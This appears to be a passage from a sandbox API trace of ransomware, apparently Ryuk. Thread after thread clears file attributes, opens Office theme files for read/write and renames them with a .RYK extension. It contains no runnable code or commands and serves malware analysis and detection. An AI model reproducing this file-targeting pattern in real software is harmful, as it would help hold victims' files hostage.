	[0171.932] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 509
	os_tid = 0xc1c

	[0171.933] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM", dwFileAttributes=0x80) returned 0
	[0171.934] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.934] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.935] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 510
	os_tid = 0xc74

	[0171.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF", dwFileAttributes=0x80) returned 0
	[0171.936] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.937] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.938] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\RIPPLE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\ripple.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 511
	os_tid = 0x7e0

	[0171.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.944] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.945] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.945] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 512
	os_tid = 0x514

	[0171.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.941] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.942] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.943] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 513
	os_tid = 0x15c

	[0171.947] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM", dwFileAttributes=0x80) returned 0
	[0171.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.948] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.948] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 514
	os_tid = 0xb2c

	[0171.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF", dwFileAttributes=0x80) returned 0
	[0171.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.956] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.957] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\RMNSQUE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\rmnsque.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 515
	os_tid = 0xb8c

	[0171.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.952] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.953] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RMNSQUE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\rmnsque\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 516
	os_tid = 0x4f4

	[0171.959] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.959] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.959] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.960] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 517
	os_tid = 0xa88

	[0171.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM", dwFileAttributes=0x80) returned 0
	[0171.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.965] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.965] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 518
	os_tid = 0xb0c

	[0171.963] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF", dwFileAttributes=0x80) returned 0
	[0171.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.970] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.971] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\SATIN.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\satin.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 519
	os_tid = 0x7b8

	[0171.967] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.967] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.967] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.968] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SATIN\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\satin\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 520
	os_tid = 0x5a8

	[0171.973] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.974] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.974] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.975] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 521
	os_tid = 0x484

	[0171.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM", dwFileAttributes=0x80) returned 0
	[0171.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.983] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 522
	os_tid = 0x8d8

	[0171.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF", dwFileAttributes=0x80) returned 0
	[0171.978] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.979] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.980] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\SKY.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\sky.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 523
	os_tid = 0x9b0

	[0171.985] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0171.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.985] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 524
	os_tid = 0x248

	[0171.988] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0171.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.996] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.996] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 525
	os_tid = 0xa78

	[0171.989] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM", dwFileAttributes=0x80) returned 0
	[0171.992] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0171.993] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0171.994] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 526
	os_tid = 0xadc

	[0171.998] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF", dwFileAttributes=0x80) returned 0
	[0172.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.003] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.004] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\SLATE.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\slate.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 527
	os_tid = 0xa8c

	[0171.999] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0172.000] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.000] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.001] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 528
	os_tid = 0xbb8

	[0172.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0172.006] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.006] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 529
	os_tid = 0x5dc

	[0172.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM", dwFileAttributes=0x80) returned 0
	[0172.011] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.011] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.012] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.ELM.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.elm.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 530
	os_tid = 0xfc4

	[0172.010] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF", dwFileAttributes=0x80) returned 0
	[0172.017] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.017] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\SONORA.INF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\sonora.inf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 531
	os_tid = 0x304

	[0172.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG", dwFileAttributes=0x80) returned 0
	[0172.014] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.014] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.015] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 532
	os_tid = 0xa1c

	[0172.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF", dwFileAttributes=0x80) returned 0
	[0172.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0172.020] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0172.021] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 533
	os_tid = 0x380

	[0172.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\SPRING.ELM", dwFileAttributes=0x80) returned 0
